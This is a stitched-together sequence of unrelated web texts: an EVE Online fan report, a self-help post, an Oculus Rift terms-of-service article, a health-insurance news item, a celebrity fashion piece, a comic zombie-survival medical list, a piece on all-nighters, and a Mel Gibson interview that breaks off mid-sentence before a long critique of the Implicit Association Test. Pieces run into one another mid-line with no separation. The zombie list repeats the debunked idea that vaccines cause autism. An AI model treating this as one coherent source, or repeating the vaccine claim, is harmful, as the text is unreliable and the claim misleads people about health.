Fortunately, when Tommy Arrano presented this intel to his CEO, Ashley Traynor, an immediate course of action was struck. J105858 was thoroughly mapped and a chain of wormholes linking the system to the Gallente Federation system of Torvi was discovered. All available pilots were rallied and our tactical plans were made. As a Wolf-Rayet was present in J105858, high accuracy precision weapons were chosen to make use of the unique cosmic effects of that high-energy star. Cerberuses and Hecates quickly flew to the target system, and following Ashley Traynor’s guidance, were brought to bear on the structure.
In order to minimize casualties, escape pods and shuttles were actively recovered during the siege of the vast structure, and our pilots made every effort to destroy any of the From the Abyss forces that dared to intervene. Hole Control, another infamous Anoikis alliance, made a showing, but the combined Foxholers and Gallente Militia fleet was too much for them to engage within the effects of the Wolf-Rayet. The Fortizar was destroyed, and as many refugees were transported to Federation borders as was possible.
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Our convoy returned to Federation Space, where we entrusted the refugees to the care of Federation Customs. Jac Abbre, security representative for the Torvi branch of Federation Customs, had this to say:
The thousands of poor souls trapped on that Fortizar owe the Gallente Militia and Foxholers a debt of gratitude. We shall of course repatriate any who wish to return to their home system of RLTG-3, however, I have been informed the Federal Administration is offering asylum to any who wish to remain in Federation territory.
Following submittal of the necessary paperwork for Foxholer pilots and weighing this humanitarian act, the Federal Defense Union readmitted the Villore Accords to the Gallente Militia as members in good standing, resolving the dispute with Federal Defense Union regulations.In my previous posts, I gave you some ideas on why people are tired and a little hint on how to make your life more meaningful by implementing the art of planning. If you have not read those feel free to do so as they are useful pieces of information for a person who wants to get more from their lives.
Step one towards Bigger life is planning, step two is action. So if you’ve read previous posts you are on the right path. Now, to begin the change you need to actually act on it. By saying this I mean: You have to start doing something to achieve your goals.
Definition of word action – “the fact or process of doing something, typically to achieve an aim“. That being stated you have to have a plan or a goal set in mind to begin acting upon it. Why may you ask? Well, imagine a ship in the sea. If we turn on the engines and just let the ship go, without no direction or destination(plan or goal) it would most likely crash and sink. But if the ship has a clear plan and destination, captain and the crew in can act upon it accordingly and reach destination much more easily. That is what we need to do, first plan and prepare, then act.
You have done your planning and have set your goals, so what’s next?
Well next is preparation, which is one of the most important actions you can take towards reaching your goals. You need to educate yourself about your goal, and how to reach it. Read some books about people who have had similar goals as you have managed to reach them. Learn the mistakes and tips on how they’ve achieved it. There are many books and podcasts on any topic that you might think of. Read and listen them too, they can be great inspiration and help!
Surround yourself with people who have similar goals as you do. People are great inspiration but wrong people can be bad for you. There is this saying that you become like the 5 people who you usually hang around with, so keep in mind that and see if the people around you are putting you up and reaching something of their own or they are actually dragging you down. If you cannot surround yourself with incredible people physically, try to find an online community or join a meetup group where you could share experiences and learn new things which could help you on your journey.
Do not expect fast results. Remember life is slow paced and the key to success is consistency. You need to start doing something and learn on the way. The more knowledge you have the greater things you can achieve. Start slowly, tackling one problem at a time and enjoy the time while doing it. For example:
One of my goals is to own a Tesla Model S, which is a fairly high priced car. I need a lot of things before I can have it. I don’t have money, nor the driving license to drive a car. What I decided to do is learn how to drive (focusing on one problem at a time) and while doing it I’m reading a lot of literature on how to build a business and earn money so that I could eventually buy it.
Always look at the problem with a positive attitude and find ways on how to solve it while keeping your spirit up. Try to make your actions interesting to yourself in some shape or form. If it’s not interesting for you – it won’t work. Even though goals can seem to be huge and hardly achievable, remember that everything is possible. If you would jus take a moment to look around yourself – all of the things we use were created by people such as you and me, you just need to put yourself to it and the possibilities are endless.
To sum this all up I would like to say that humans are one of the most intelligent species on planet earth and what we do with our intelligence is completely up to us. We can use it to laugh silly videos on youtube or we can put it up to work to achieve something great. To begin acting onto something great we have to educate yourselves first, and in the times that we’re living, the internet can help us on that. So what are you waiting, get your bum up and start reading!The Oculus Rift is starting to ship, and we’re pretty happy with it. While it’s cool, like any interesting gadget, it’s worth looking through the Terms of Service, because there are some worrisome things included.
Quite a few of the items in the document are pretty typical in any sort of Terms of Service agreement. These include details like waiving your right to a juried trial and agreeing to go into arbitration instead. Oculus can also terminate your service for myriad reasons, and third parties can collect information on you. However, there are some even more devilish details in the Rift’s full Terms of Service.
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Oculus (and basically Facebook) owns creative content [See Update]
If you create something using Oculus’ services, the Terms of Service say that you surrender all rights to that work and that Oculus can use it whenever it wants, for whatever purposes:
By submitting User Content through the Services, you grant Oculus a worldwide, irrevocable, perpetual (i.e. lasting forever), non-exclusive, transferable, royalty-free and fully sublicensable (i.e. we can grant this right to others) right to use, copy, display, store, adapt, publicly perform and distribute such User Content in connection with the Services. You irrevocably consent to any and all acts or omissions by us or persons authorized by us that may infringe any moral right (or analogous right) in your User Content.
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Basically, if you create something and then blast it out into the world using the pipelines that Oculus provides, the company can use it—and they don’t have to pay you for using it. Oculus can use it even if you don’t agree with its use. Oculus does not go as far as saying that it owns the content—but it can does want access to it in ways that some creators might find intrusive.
This probably doesn’t matter much if you’re using the device as a gaming platform, but with a new type of device that’s out there, there are a whole range of unforeseen uses. Based on the wording of the Terms of Service, a creative developer could make a piece of interactive artwork that Oculus could then use for an Oculus ad without the artist’s permission.
Who knows what else VR might allow people to create. But to do so—at least initially with the Oculus Rift—you might lose out on exclusivity with your work, something that’s important for writers and artists.
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Oculus can collect data from you while you’re using the device
This next caveat is more obvious but also more worrisome. The Terms of Service document reads:
Information about your interactions with our Services, like information about the games, content, apps or other experiences you interact with, and information collected in or through cookies, local storage, pixels, and similar technologies (additional information about these technologies is available at https://www.oculus.com/en-us/cookies-…);
Information about how you access our Services, including information about the type of device you’re using (such as a headset, PC, or mobile device), your browser or operating system, your Internet Protocol (“IP”) address, and certain device identifiers that may be unique to your device;
Information about the games, content, or other apps installed on your device or provided through our Services, including from third parties;
Location information, which can be derived from information such as your device’s IP address. If you’re using a mobile device, we may collect information about the device’s precise location, which is derived from sources such as the device’s GPS signal and information about nearby WiFi networks and cell towers; and
Information about your physical movements and dimensions when you use a virtual reality headset.’
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Furthermore, the information that they collect can be used to directly market products to you:
To market to you. We use the information we collect to send you promotional messages and content and otherwise market to you on and off our Services. We also use this information to measure how users respond to our marketing efforts.
This is kind of creepy! Given that Oculus can collect information about how you move and how you’re shaped. The Facebook-owned company can use your location and log your activity, and it can even do so automatically.
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And on a related note, given that Facebook owns Oculus, it’s not surprising that the Terms of Service also include language that allows the company to monetize your experience: that is, after all, what the Facebook platform has been historically extremely good at.
What’s most worrisome here is that the emergence of VR technology opens up an new type of data for companies to mine en masse which can be collected efficiently. The fact that Oculus, the clear leader in the new VR marketplace, is setting this precedent could be dangerous for the future of the technology. Furthermore, as UploadVR noted, the Oculus Rift is a device that is always on (much like Microsoft’s Xbox One Kinect feature) which leads to further concerns about when the information will be collected. Who the hell knows when and where the NSA will get involved.
Updated: Tuesday, April 5, 8:30am:
Oculus clarified some of the language in their policy for us: they confirmed that they do not claim ownership of any content and IP that is created through Oculus’s services, but they do permit the company to license content:
Users and content developers own all the content and IP they create using Oculus services. We are not taking ownership. Our terms of service give Oculus a license to user created content so we can enable a full suite of current and future products and services on our platform, like sharing a piece of VR content with a friend. People continue to own the rights to the content and can do whatever they like with it outside of our platform. This is very clear in our terms: “Unless otherwise agreed to, we do not claim any ownership rights in or to your user content.”
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[Oculus Rift, UploadVR, Reddit]Maryland Agency Approves Higher Health Insurance Rates
Maryland residents purchasing individual health insurance coverage under the Affordable Care Act can expect to pay higher premiums next year.
The Maryland Insurance Administration on Wednesday approved rates increases that are expected to affect roughly 96,000 people who buy silver plans through the state's health insurance exchange.
The administration approved a 27 percent increase for CareFirst BlueCross Blue Shield for its HMO plan and a 24 percent increase for its PPO plan. That's on top of a 31.4 percent increase approved for HMO plans and a 52.1 percent hike for PPO plans approved in August.
A 20.7 percent increase has been approved for Kaiser Permanente.
The agency reopened rates earlier this month, after the announcement that federal cost-sharing reduction reimbursements would not be paid to carriers in 2018.Advertisement 1 / 6
As we’ve recently investigated, there seems to be a nostalgic fervor in the air these days for the style of the early aughts: So-good-it’s-bad fashion of the early 21st century that reminds us of a simpler, perhaps less tasteful, time, when velour tracksuits, hip bone–grazing boot-cut denim, asymmetrical tank tops, and ankle booties paired with airbrushed minidresses was the height of chic. Or was it? During that same era, a five-member rock band was rising up the ranks and the music charts from their downtown New York roots: The Strokes. They brought not only a welcome return of rock ’n’ roll to the masses, but also an indie grunge fashion sense that swept through the closets of their adoring fans.
Julian Casablancas was the band’s lead singer, and he practically became the poster boy for this wave. His uniform of rumpled vintage tees, retro bandleader jackets, and bedraggled jeans was the perfect complement to his scratchy howl of a voice. Bellowing the somewhat indecipherable lyrics of their monster hit “Last Nite” into the microphone, his greasy, unkempt hair plastered to his face, his look was a defiant, cool contrast to the chintzy glam of the era. His fellow band members followed suit in their perfectly disheveled uniforms of secondhand suits, grandpa sweaters, beat-up moto jackets, and scruffy mops of hair. It was a look that certainly belied their Upper East Side breeding, but as the 38-year-old’s recent appearance sheathed in a vintage-inspired racer-stripe jersey for Blood Orange’s “Augustine” video proved, it’s a look that certainly still suits him.
Above, in honor of his 38th birthday, a look back at the best moments of the rocker aughts style Casablancas spearheaded.Like a good boy scout, any survivor of the zombie apocalypse knows to always be prepared! But some contingencies are harder to plan for than others...like medical emergencies. Den of Geek has carefully calculated the odds, considered the collapse of society vs. the current cost of health care, and come up with a list of medical procedures which will help increase your odds of living another day to dodge zombies.
10. Allergy Testing
Are you allergic to peanuts? What about gluten? These are things you want to find out now, not when you are swelling up from anaphylactic shock or crapping your pants after scarfing down some delicious Jiff peanut butter and stale Ritz crackers – two foods that travel well and have a decent shelf life. Sure, you could try to survive on Twinkies and Snowballs, but what if you are diabetic? Make an appointment with your allergist and get the comprehensive needle stick test. And have them test you for asthma too. You’ll want to keep an inhaler handy in the event of fast zombies!
9. Vaccines
Go. Get them all. Who cares if they make you autistic? Do you really want to be stricken with the chicken pox, measles, mumps, or god forbid – small pox during the zombie apocalypse? Hell no! Heck, a bad case of rubella can lay you up for weeks with fever, joint pains, and conjunctivitis. How can you see to fight the zombies if you have goop in your eyes? You can’t. Most vaccines are covered by even a basic health insurance plan. And while no one likes to get jabbed by a bunch of needles, or to get sick from whatever questionable live virus/egg protein combo is in there, it is better than losing the use of your legs (thank you polio) – you need those for running!
8. Knee Replacements (recommended for seniors)
Speaking of running, how fast are you? Remember, you only need to be faster than the guy behind you. This generally poses a problem for the AARP set. Running, jumping, climbing, and kicking are all a younger man’s game. Most seniors enjoy knitting, sitting, and ordering crap off of the home shoppers network. Their joints are old and degraded, and while that cane/walker might be useful it won’t take long for the zombies to surround you. Get your knee replacements now! New advances in surgery make the procedure super easy and recovery lightning fast. Heck, most recipients are up on their feet and kicking kids off their lawn within 24 hours!
7. Flu Shot
Yes, yes, I know you hate needles and insist that the flu shot makes you sick. Yes, the effects are limited to the flu virus the CDC deems most worthy that season. But why take the chance? The first year of the zombie apocalypse is going to be crucial for survival. When you are cowering down in a broom closet, hoping the half dozen zombies shambling around the room outside won’t notice you, it is not the time to come down with a sneezing fit. How can you keep up with the rest of the survivors when you are feverish, coughing, and shaking with the chills? You cannot depend on the kindness of others to help you survive and if you aren’t careful, that old guy with the new knees will run off in the hopes that your loud sniffling will distract the zombies long enough for him to get away!
6. Wisdom Teeth Removed
We all saw Cast Away. Poor Tom Hanks, all alone with his infected tooth. This is a good time to emphasize the necessity of proper dental care, even in the midst of societal collapse. There will be plenty of floss available. Use it. Unfortunately there is just no way to anticipate a cavity or infected chomper, and who knows if one of the survivalists in your group is going to be a dental hygienist? However, it is possible to have four potential problems yanked out of your mouth forever! Get your wisdom teeth pulled and you will never have to try and fight off a shambler while holding the side of your aching face.
5. Appendectomy
We all saw Stephen King’s made for TV miniseries, The Stand. Poor whats-his-name and his burst appendix. Why don’t we remember the character’s name? Because he died immediately; even as Gary Sinise and Molly Ringwald tried to read their way through an appendectomy. You do not want surgery after a societal collapse, trust me. Not everyone needs to have their appendix removed. But once you get appendicitis that benign little vestigial structure becomes a fleshy ticking time bomb. The pain will be terrible and without medical help a slow death is inevitable, unless your friends leave you and your incessant moaning behind as slow moving zombie bait. Get that sucker taken out now by a doctor and save yourself from having it chewed out by a shambler!
4. Tubal Ligation
Ladies. Get your tubes tied. There will be plenty of women stupid enough to stay fertile in the event of a zombie apocalypse. The repopulation of the planet does not depend on you. Let Lori take one for the team. That way you can still enjoy all the benefits of hot, sweaty, survivor sex without having to worry about 9 months of waddling away from zombies, and then the high and messy mortality of childbirth followed by years trying to keep a small child quiet so they don’t bring down a zombie hoard on your hideaway. That is a huge price to pay for one night of steamy tent passion with Shane (yes, SHANE).
3. Tetanus Shot
I know we covered vaccines already, but tetanus deserves its own blurb. What are zombies? Dirty, decaying corpses that spew pus and filth. What happens after social collapse? No one is running around with Windex and Purell, making our environment safe against germs, you can be sure of that. Anything could happen; we are talking an infection free for all. Go ahead step on a rusty nail after some zombie has been rubbing it all over his necrosis and see what happens! Tetanus. Much like appendicitis, your slow, agonizing death is pretty much assured. Only this time, as your limb starts to go gangrenous, you will start to go nuts. If you are lucky, someone in your group will hack off the offending appendage before that happens. But then what? Do you really want to be known amongst the zombie survivalists as Stumpy? It may have worked for Merle Dixon, but he was a weirdo redneck badass. Chances are, you will just be Stumpy.
2. Laser Eye Surgery
This seems silly, almost frivolous. Unless you wear glasses. Let me tell you, as a person with terrible eye sight, nothing strikes fear into my heart more than the thought of a future filled with zombies and bereft of saline, contact lens prescription refills, or optometrists. Trust me. If you need glasses to drive, you will need glasses to fight off zombies. Unfortunately, glasses are a potential (and highly breakable) handicap. Like so many suggestions on this list, laser eye surgery is minimally invasive and has a super quick recovery time. You won’t regret it, and the other survivors in your group who depend on your ability to watch their backs won’t either!
1. Septoplasty
When are we most vulnerable to zombies? When we are sick and when we are sleeping. As a survivor you will not always be able to depend on others to watch over you. There may be times when you will be alone, and at some point you are going to need to sleep. Which is why you want to have a serious talk with your significant other and find out once and for all – do you snore? Nothing will attract a shambler to your slumbering, defenseless body faster than sawing a couple of logs. Not to worry! A quick and easy septoplasty will fix that deviated septum and you can rest easy at night, alone in the darkness, surrounded by zombies who will never disturb your sweet dreams.What happens to your body if you study all night?
It's scary season at university. For lots of students, exams are round the corner, while looming dissertation deadlines top the panic poll for others.
After months of labour, putting the finishing touches to a project that represents the culmination of your undergraduate education can turn into a caffeine-fuelled ordeal. Especially when things go horribly, horribly wrong.
I still have nightmares about my final meeting with my supervisor, three days before submission. She casually informed me that all the work I'd done in the past three months had been a waste of time. The error was minor, but 20 pages had to be consigned to the garbage bin. I had 72 hours to do what I could to repair the damage...
All-nighters are pretty much synonymous with student lifestyles. But frequent sleep deprivation over four years can have drastic long-term consequences, unleashing a neurological cycle of degeneration.
Susan Redline, a professor of sleep medicine in Boston, has found links between sleep deprivation and the onset of neuropsychiatric disorders such as anxiety and bipolar depression.
Over time, forcing the body to stay awake also affects blood pressure and levels of inflammation, resulting in an increased susceptibility to heart disease and cancer.
So those are the long-term issues. But what about the immediate consequences?
Recent research at Harvard and Berkeley has just revealed a very dangerous side effect of pulling an all-nighter – short term euphoria.
After missing a night's sleep, the mesolimbic pathway (the neural circuit that controls pleasure and reward) is strongly stimulated. The process is driven by a chemical called dopamine.
The higher dopamine levels that result from your sleepless night may mean you enjoy a boost in motivation, positivity, even sex drive. You may think that sounds good; unfortunately you'd be wrong.
Not only are these feelings brief, but the dopamine surge also encourages addiction and impulsive behaviour. The regions of the brain responsible for planning and evaluating decisions simply shut down once deprived of sleep, meaning that you're inclined to be overly optimistic and happy to take risks.
Some research indicates that if the mesolimbic pathway is frequently over-stimulated by sleep deprivation, there could be permanent brain damage. This is because of the brain's "neural plasticity" – which means its ability to adapt to new situations. When it's forced to operate in a different state on a regular basis, it permanently alters itself.
And don't even think of pulling an all-nighter before an exam: researchers say that does more harm than good. Last-minute cramming refuses to sink in, because the consolidation of memories occurs during deep sleep.
Not only that, but all-nighters actually weaken the coupling between the structures responsible for episodic memory, meaning that when you try to recall specific events, the circuitry simply isn't up to it.
• A version of this article was first published on Guardian Students on 9 October 2012.Editors Note: This Mel Gibson interview originally appeared September 6 after the triumphant Venice Film Festival premiere of Hacksaw Ridge. The dialogue seemed worth another look as Hacksaw Ridge opens this weekend to a wide audience.
After a decade absence, Mel Gibson returned to directing last weekend with Hacksaw Ridge, and the World War II story has gotten arguably the strongest audience response so far as festival season gets underway. A 10-minute standing ovation followed the film’s premiere at the Venice Film Festival, with reviews to match. In ordinary circumstances, that reaction to the film about the first Conscientious Objector to receive the Medal of Honor – Andrew Garfield plays Desmond Doss – would put it squarely in the Oscar race. That might come, but after lying low for the past decade following a self-inflicted tabloid trail that began with anti-Semitic comments uttered during a drunken tirade in the back of a cop car that got him ostracized by the industry, Gibson seems like he would be content to once again have a place at the table. His ability as a filmmaker since transitioning from superstar to director has never been in dispute, but it has been 10 years since he directed Apocalypto, 21 since Braveheart won Best Director and Best Picture, and 14 since The Passion of The Christ became the biggest-grossing indie picture of all time and the biggest R-rated film until Deadpool finally surpassed it. Gibson has in the past discussed his troubles at length on Deadline, and the efforts he put into recovery and making amends. While he delves into that process a little here, the focus is once again on the movies, present, past and future.
REX/Shutterstock
DEADLINE: After 10 years away, what did it mean when Hacksaw Ridge get a 10-minute standing ovation this weekend?
GIBSON: I couldn’t have been more pleased with the overwhelming response at the world premiere in Venice. Being able to share it with the cast made it extra special, as these things are a collaborative effort and every single person in the cast and crew contributed to that standing ovation. I don’t make films for the elite, so having that large audience in that theater, react the way they did, was gratifying to say the least. So happy for our producer Bill Mechanic, as he’s been riding this bronco for 13 years.
REX/Shutterstock
DEADLINE: Had you taken a film to Venice before?
GIBSON: I went there with one of the Mad Max movies, I think. I remember I bumped into Costner there on Lido. We got to yakking and everybody’s got bicycles there. We found one that wasn’t chained and so we borrowed it. He was pedaling and I was in the basket, like E.T. It must have looked so stupid, but we had a great conversation about film and a whole bunch of stuff. True story. Now there’s a guy I wish would direct another movie. He did it so well.
DEADLINE: The movies you’ve directed, like Braveheart and Apocalypto, featured protagonists who engage in violence. Desmond Doss was the exact opposite. Why did you spark to this guy’s story?
GIBSON: That’s what was amazing for me, and what impressed me more than anything. The guy didn’t carry a weapon, never fired a bullet, was a conscientious objector who thought it was wrong to kill under any circumstances. But he had the guts to go into the worst place you can imagine and stick to his convictions, armed with nothing else but sheer faith. Walk in and just do the impossible, which is courage under fire unparalleled because he didn’t do it in a split second or decision or moment. He did it again and again and again. He did it in other places in the Pacific Theater too. This was his pinnacle, but in other places like Guam and the Philippines, he was always crawling into enemy fire to get guys. They were saying don’t go out there, and he was like, if somebody’s in trouble I’m going to get them. And he’d get them, every time, and he would never get touched. And he didn’t have a weapon. That to me is the ultimate superhero. He stuck to his principles, his convictions about not bearing arms, even in the face of terrible persecution. It was worse in real life than I portrayed it in the film. He was persecuted very solidly for two years in the Army.
Lionsgate
DEADLINE: You show him getting beaten up in the barracks by fellow soldiers who were collectively punished because he would not quit.
GIBSON: It was worse. He was discriminated against more than what I showed you but you can’t keep showing that or you’ll go crazy. He put up with a lot. A lot of guys didn’t know how he could take that. He was tough. I mean he was a badass.
DEADLINE: Hugo Weaving plays his father, and flash |
a “moment of jarring self-insight … I can’t say if I was more personally distressed or scientifically elated to discover something inside my head that I had no previous knowledge of.”
They’re not the only ones to report having been deeply affected by their IAT results. Describing the emotional nature of one’s first IAT session became so common that in 2008, John Tierney mused on the Times website that “It’s something of a custom, when discussing the IAT, to disclose your own score on the test along with your unease.” In other instances, people from minority backgrounds are shocked to learn they are biased against their own people, and naturally respond to this news with discomfort. In Blink, for example, Gladwell describes his unease at finding out he has a moderate level of anti-black implicit bias, despite being biracial. And in 2015, KQED ran a story in which a Persian pharmacy resident said she was struck by her IAT results. “It was like, actually, you’re biased and you don’t like brown people and you don’t like Muslims,” she told reporter April Dembosky. “Which is interesting for me because that’s kind of the two things that I am.”
In light of all this, it’s hard to disagree with the conclusion of Fiedler and his colleagues that it is only “fair and appropriate to treat the IAT with the same scrutiny and scientific rigour as other diagnostic procedures.” If that’s true, then between Project Implicit and cutting-edge diversity trainings, the IAT has misled potentially millions of people. Over and over and over and over, the IAT, a test whose results don’t really mean anything for an individual test-taker, has induced strong emotional responses from people who are told that it is measuring something deep and important in them. This is exactly what the norms of psychology are supposed to protect test subjects against.
***
It would take thousands and thousands more words to fully lay out all the problems with the IAT and how it has been applied. For example, the test’s scoring convention assumes that a score of zero represents behavioral neutrality — that someone with a score at or near zero will treat members of the in-group and out-group the same. But Blanton and his colleagues found that in those studies in which the IAT does predict discriminatory behavior, there’s a “right bias” in which a score of zero actually corresponds to bias against the in-group. This offers even more evidence that there is something wrong with the entire basic scoring scheme.
Blanton, Tetlock, Mitchell, and others have also highlighted the fact that the IAT team adopted completely arbitrary guidelines regarding who is labeled by Project Implicit as having “slight,” “moderate,” or “strong” implicit preferences. These categories were never tethered to any real-world outcomes, and sometime around when the IAT’s architects changed the algorithm, they also changed the cutoffs, never fully publishing their reasoning. As a result of this switch, write Mitchell and Tetlock in a chapter on the IAT in the newly published book Psychological Science Under Scrutiny: Recent Challenges and Proposed Solutions, “the percentage of persons supposedly showing strong anti-black bias on the IAT dropped from 48% to 27%. This change in levels of implicit prejudice was not due to a sudden societal shift, nor due to the findings of any studies linking particular bands of IAT scores to particular behaviors. This change was due solely to the researchers’ change in definitions.”
Finally, there are hints which suggest that the race IAT could directly diminish the quality of certain intergroup interactions. In a 2012 study published in Psychological Science, for example, the psychologist Jacquie Vorauer had a bunch of white Canadians complete a work task with an aboriginal partner. Prior to doing so, some of the participants took an IAT pertaining to aboriginal people, some took a non-race IAT, and some were asked for their explicit feelings about the group. Aboriginals in the race-IAT group subsequently reported feeling less valued by their white partners as compared to aboriginals in all of the other groups. So while IAT proponents have suggested it could be used to improve intergroup relations, writes Vorauer, “if completing the IAT enhances caution and inhibition, reduces self-efficacy, or primes categorical thinking, the test may instead have negative effects.” This is just one finding, of course, and it comes from a contrived lab setting, but it suggests some troubling possibilities.
The IAT’s myriad problems pose profound challenges to its underlying theory, and to the practice of labeling people in certain ways based on their test results. So why has the test managed to mostly avoid critical scrutiny, except in academic papers members of the public generally don’t read?
For one thing, the test offers a lot to members of the public who are concerned about racism, whether they are white and concerned about their out-group biases, or nonwhite and concerned about the possibility that they have internalized bias against their own group. Taking the IAT is a way for them to feel like they are part of the solution. Now I get it — now I understand that my implicit bias is contributing to America’s race problem. This can explain the strange but common phenomenon of test-takers loudly broadcasting results which imply they are implicitly racist: It’s a way of signaling they’re serious about investigating their own complicity in a big, complicated system of oppression. There wouldn’t be anything wrong with that, of course, if the IAT were in fact providing test-takers useful information about their level of implicit bias.
The broader story told by the IAT is, at the moment, quite politically palatable and intuitively satisfying. Not only is implicit bias driving all sorts of racially unfair outcomes, that story tells us, but it’s something that we can detect and measure in ourselves, helping to raise our consciousness. “I think the reason behind adoption of implicit-bias training is simple: It is now the thing to do to demonstrate commitment to diversity and redressing inequality,” said Mitchell.
And the IAT story line is catnip not only to progressive members of the public but also to psychological researchers who want to contribute, in a rigorous-seeming, quantifiable way, to research about racism and how to dismantle it. Patrick Forscher, a postdoctoral researcher at the University of Wisconsin who has studied the IAT, explained that politics have bled into science a bit when it comes to the instrument: “The problem is that implicit measures, and the IAT in particular, became a critical part of a political narrative about why disparities between social groups exist in the United States,” he explained in an email. “Thus, claims about implicit measures became, to a certain extent, political claims, not just scientific claims.”
If it is politically palatable to embrace the IAT and the nationwide search for our inner bias, then to criticize the test is to be on the wrong side of the progressive conversation about race. That’s what Mahzarin Banaji seemed to imply when I emailed her some questions about common methodological critiques of the IAT, at least. In her responses, she repeatedly asserted that criticisms of the IAT come from a small group of reactionary researchers, and that questioning the IAT is not something normal, well-adjusted people do:
Of course it annoys people when a simple test that spits out two numbers produces this sort of attention, changes scientific practice, and appeals to ordinary people. Ordinary people who are not scared to know what may be in their minds. It scares people (fortunately a negligible minority) that learning about our minds may lead people to change their behavior so that their behavior may be more in line with their ideals and aspirations. The IAT scares people who say things like “look, the water fountains are desegregated, what’s your problem.”
[…]
By and large I operate on the view that I need to pay attention to REAL criticisms of the IAT. Criticisms that come from people who are experts – that is[,] people who understand the science’s assumptions about response latency measures. People who do original work using such methods. I’m sorry to say this but we are all so far along in our work that I at least only read criticisms from people who are experts. I don’t read commentaries from non-experts. There’s too much interesting stuff to do and too many amazing people doing it for me to justify worrying about a small group of aggrieved individuals who think that Black people have it easy in American society and that the IAT work might make their lives easier. The IAT as you know is not about any one group, but this small group of critics ignore everything other than race, and it may be a good idea to find out why that may be the case.
In a later email, Banaji again emphasized that there is something wrong, perhaps deeply so, with critics who focus so much on black/white implicit bias and the specifics of how it is measured. “[I]t is very important, if one wants to understand the role of implicit cognition in decisions about humans, to give up the pathological focus on race in the Black-White context that some people seem to cling to,” she wrote. “These are, of course, unique social categories which is why we ourselves pay attention to it. But the fetish with Black-White race relations in some folks is something that science won’t be able to answer because it seems not to be about the evidence. It will need to be dealt with by them in the presence of their psychotherapists or church leaders.” She concluded her email, “Someday when the history of this work is written, long after we are gone, the reaction from a half a dozen people to the mounting data will be even more interesting as a case study than the data about implicit cognition itself.”
Banaji is simply incorrect that it is only a small group of obsessed researchers concerned with the IAT’s methodological shortcomings, or that their critiques aren’t “real.” Yes, there is a core team of researchers who have spent the most time critiquing the test (just as there is a core team, of which Banaji is a member, of pro-IAT researchers who have spent the most time promoting it), but by now scores of papers have been published, some in top journals, which complicate the story Banaji and her colleagues have been telling for years about what the test measures and how well it performs at that task. Some of those papers have been published by researchers, like Betsy Levy Paluck of Princeton, who have dedicated their careers to understanding intergroup intolerance and how to remedy it. As for the fact that some researchers spend a lot of time critiquing and researching the properties of the black-white IAT, it isn’t a mystery why — again, that’s the most publicized and likely the most administered and influential flavor of the IAT.
But more important, it’s a rather big deal for the chair of Harvard’s psychology department to accuse researchers who are engaging in thoroughly commonplace methodological critiques of being animated by racism and possibly mental illness. Those are very serious charges. I brought this critique to Blanton, who is one of the most prolific and statistically sophisticated of the test’s critics (for what it’s worth, he is the co-author of an instructional book on methods in psychological research). “This topic is too important for bad science,” he said. “That is my philosophy on this. This isn’t the first time that someone has intimated that I am a political conservative, that I have a lax attitude toward bias, that I’m indifferent to it. They point out I’m a white male.” (The core group of IAT critics spans a sizable chunk of the political spectrum: Blanton described himself as liberal, while Tetlock is known to be somewhat conservative, or very conservative by the standards of social psychology.) “This isn’t the first time it’s happened,” continued Blanton. “My attitudes toward this is that I’m very comfortable with the fact that this is about the need for good science, and a construct as important as racism, we don’t apply the assessment methods you’d apply in the back of a beauty magazine. That’s what’s going on. That’s what offends me — it offends me as a scientist.”
***
It’s hard not to see Blanton’s point. Race is a really, really complicated subject. But there’s a risk that to accept the IAT story line uncritically is to ignore some of this complexity — or, in some cases, to adopt sterilized accounts of how racism works. On the homepage of the implicit-bias training outfit Fair & Impartial Policing, for example, the organization notes that its approach is “based on the science of bias, which tells us that biased policing is not, as some contend, due to widespread racism in policing.” One can quibble with the definition of widespread, but the implications are clear: Since the science of bias tells us that so many Americans harbor implicit bias, and that this form of bias is behaviorally meaningful, implicit bias must be a really important thing for police departments to focus on. Explicit bias, though? Not so much.
But this account leaves out some important details. When the federal government conducts a probe of an American police department scrutinized for brutal or unfair behavior, for example, investigators often uncover significant reserves of explicit bias. Take Ferguson, Missouri: The Justice Department reported that “Ferguson’s harmful court and police practices are due, at least in part, to intentional discrimination, as demonstrated by direct evidence of racial bias and stereotyping about African Americans by certain Ferguson police and municipal court officials.” It might be advantageous to various people to say implicit bias rather than explicit bias is the most important thing to focus on, but that doesn’t make it true — a point driven home, perhaps, by the fact that the United States just elected one of the more explicitly racist presidential candidates in recent history.
The fact that the IAT has come to so thoroughly dominate the social-psychological conversation about race may be tilting the scales in favor of certain explanations at the expense of others, not because they are better or more empirically defensible, but simply because they more neatly fit a hot and frequently hyped paradigm. “Focusing so narrowly on implicit bias risks ignoring the complexity of the problems, like racial disparities, that are argued to be caused to implicit bias,” said Forscher. “Any problem as tenacious and long-standing as racial disparities is unlikely to be caused by any one thing. Surely, then, it is worthwhile for psychologists interested in resolving problems like racial disparities to investigate other possible causes of disparities, such as intentional or structural processes.” It’s not that psychologists are ignoring these other causes, of course — it’s just that the IAT, by dint of its cultural and academic resonance, has generated a strong gravity well that sucks in money and researchers. If you study the IAT, you can easily produce heaps of quantitative data, you can help promote an interesting and provocative story line about race in America, and you can be a part of one of the most popular and widely publicized contemporary approaches to solving serious racial issues.
Forscher has had some firsthand exposure to the potential problems with psychology’s current IAT-sparked fixation on measuring implicit bias at the individual level. He’s the co–lead author, with Calvin Lai, the Harvard postdoc who is the head of research at Project Implicit, of an important work-in-progress meta-analysis (Brian Nosek is a co-author on it, too). The authors were interested in a bunch of studies that have evaluated newfangled interventions aimed at reducing biased behavior by reducing implicit bias. So Forscher and his colleagues examined hundreds of these studies — studies using both the IAT and other, less famous tools to measure implicit bias — for their meta-analysis. They didn’t find much. “Based on the evidence that is currently available,” Forscher said, “I’d say that we cannot claim that implicit bias is a useful target of intervention.” This is a valuable finding, but it isn’t a surprising one given the paucity of evidence correlating IAT scores (and other measures of implicit bias) with behavior in the first place.
The problem is that the hype over IAT research, and the eagerness to apply the test to real-world problems, has so outpaced the evidence that it has launched a lot of studies built on underwhelming foundations. “Implicit bias research has been driven by both the desire to understand truths about the human mind and the desire solve social problems,” said Forscher. “These goals have not always been in conflict. Unfortunately, one of the ways they have is that the desire to do something, anything, to solve problems related to race has led some people to jump to conclusions about the causal role of implicit bias that they might have been more cautious about had their only focus been on establishing truth.”
